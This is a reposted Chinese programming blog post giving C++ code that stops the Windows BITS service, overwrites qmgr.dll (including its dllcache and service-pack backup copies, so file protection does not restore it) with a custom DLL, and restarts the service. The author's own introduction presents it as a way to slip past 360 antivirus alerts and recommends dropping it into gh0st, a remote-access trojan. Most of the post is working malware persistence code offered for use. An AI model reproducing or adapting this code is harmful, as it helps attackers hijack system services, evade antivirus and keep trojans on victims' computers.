替换BITS系统服务代码

最新推荐文章于 2025-04-22 01:37:21 发布

转载最新推荐文章于 2025-04-22 01:37:21 发布 · 2.7k 阅读

文章标签：

#service #null #token #manager #工作 #access

编程相关专栏收录该内容

34 篇文章

订阅专栏

PS:这个方法用来过360服务提示是很不错的，放到gh0st里去，再把代码改下就好了 ^_^

创建了一个类，提供三接口，一个用来启动服务，一个用来停止服务，一个用来调整启动方式滴

   1. class CService
   2. {
   3. public:
   4. BOOL SetStartType(DWORD dwOp);
   5. void StopService();
   6. void StartService();
   7. CService(char* szSerName);
   8. virtual ~CService();
   9.

10. private:
11. BOOL CloseHandle();
12. BOOL EnablePriv();
13. BOOL OpenHandle();
14. SC_HANDLE m_ser;
15. SC_HANDLE m_scm;
16. char m_szSerName[256];
17. };
18.

19. 实现部分的代码
20.

21. CService::CService(char *szSerName)
22. {
23. memset(m_szSerName,0,256);
24. strcpy(m_szSerName,szSerName);
25. }
26.

27. CService::~CService()
28. {
29.

30. }
31.

32. BOOL CService::OpenHandle()
33. {
34. BOOL stat=EnablePriv();
35. if(!stat)
36.    return FALSE;
37. m_scm=OpenSCManager(NULL,NULL,SC_MANAGER_CREATE_SERVICE);
38. if(m_scm==NULL)
39. {
40.    return FALSE;
41. }
42. m_ser=OpenService(m_scm,m_szSerName,SERVICE_ALL_ACCESS);
43. if(m_ser==NULL)
44. {
45.    return FALSE;
46. }
47. else
48.    return TRUE;
49. }
50.

51. BOOL CService::EnablePriv()
52. {
53. HANDLE hToken;
54. BOOL stat;
55. stat=OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken);
56. if(stat==FALSE)
57.    return FALSE;
58.

59. TOKEN_PRIVILEGES tkp;
60.

61. stat=LookupPrivilegeValue( NULL,SE_DEBUG_NAME,&tkp.Privileges[0].Luid );//修改进程权限
62. if(stat==FALSE)
63.    return FALSE;
64. tkp.PrivilegeCount=1;
65. tkp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
66. stat=AdjustTokenPrivileges( hToken,FALSE,&tkp,sizeof tkp,NULL,NULL );//通知系统修改进程权限
67.

68. return stat;
69. }
70.

71. BOOL CService::CloseHandle()
72. {
73. return (CloseServiceHandle(m_scm)&&CloseServiceHandle(m_ser));
74. }
75.

76. void CService::StartService()
77. {
78. EnablePriv();
79. OpenHandle();
80. ::StartService(m_ser,NULL,NULL);
81. CloseHandle();
82. }
83.

84. void CService::StopService()
85. {
86. EnablePriv();
87. OpenHandle();
88. SERVICE_STATUS stat;
89. ControlService(m_ser,SERVICE_CONTROL_STOP,&stat);
90. CloseHandle();
91. }
92.

93. BOOL CService::SetStartType(DWORD dwOp)//SERVICE_AUTO_START SERVICE_BOOT_START SERVICE_DEMAND_START SERVICE_DISABLED SERVICE_SYSTEM_START
94. {
95. OpenHandle();
96.     SC_LOCK sclLock=LockServiceDatabase(m_scm);
97. BOOL stat=ChangeServiceConfig(
98.    m_ser,
99.    SERVICE_NO_CHANGE,
100.    dwOp,
101.    SERVICE_NO_CHANGE,
102.    NULL,
103.    NULL,
104.    NULL,
105.    NULL,
106.    NULL,
107.    NULL,
108.    NULL);
109. UnlockServiceDatabase(sclLock);
110. CloseHandle();
111. return stat;
112. }
113.

114.

115. 替换程序相关的代码
116.

117. void ReplaceService(char *szFilePath)//szFilePath是我们自己的DLL文件的位置
118. {
119. char temp[256]={0};
120. GetWindowsDirectory(temp,256);
121. char szPackPath[256]={0};
122. strcpy(szPackPath,temp);
123. strcat(szPackPath,"//ServicePackFiles//i386//qmgr.dll");//这个东东貌似是XP sp3下才存在，开始的时候没注意，一直没替换成功，系统自动还原了，瘦了一下，发现这个地方还有一备份文件。替换了就好了
124. char szCachePath[256]={0};
125. strcpy(szCachePath,temp);
126. strcat(szCachePath,"//system32//dllcache//qmgr.dll");
127. char szSystemPath[256]={0};
128. strcpy(szSystemPath,temp);
129. strcat(szSystemPath,"//system32//qmgr.dll");
130.

131. strcat(temp,"//qmgr.cfei");
132.

133. MoveFileEx(szCachePath,temp,MOVEFILE_REPLACE_EXISTING);
134. MoveFileEx(szPackPath,temp,MOVEFILE_REPLACE_EXISTING);
135. MoveFileEx(szSystemPath,temp,MOVEFILE_REPLACE_EXISTING);
136. CopyFile(szFilePath,szCachePath,0);
137. CopyFile(szFilePath,szPackPath,0);
138. CopyFile(szFilePath,szSystemPath,0);
139. }
140.

141.

142. 调用部分的代码
143.

144. CService ser("bits");
145. ser.SetStartType(SERVICE_DISABLED);
146. ser.StopService();
147.    ReplaceService("c://ser.dll");//这里假设我们的文件释放的位置是c:/ser.dll
148. ser.SetStartType(SERVICE_AUTO_START);
149. ser.StartService();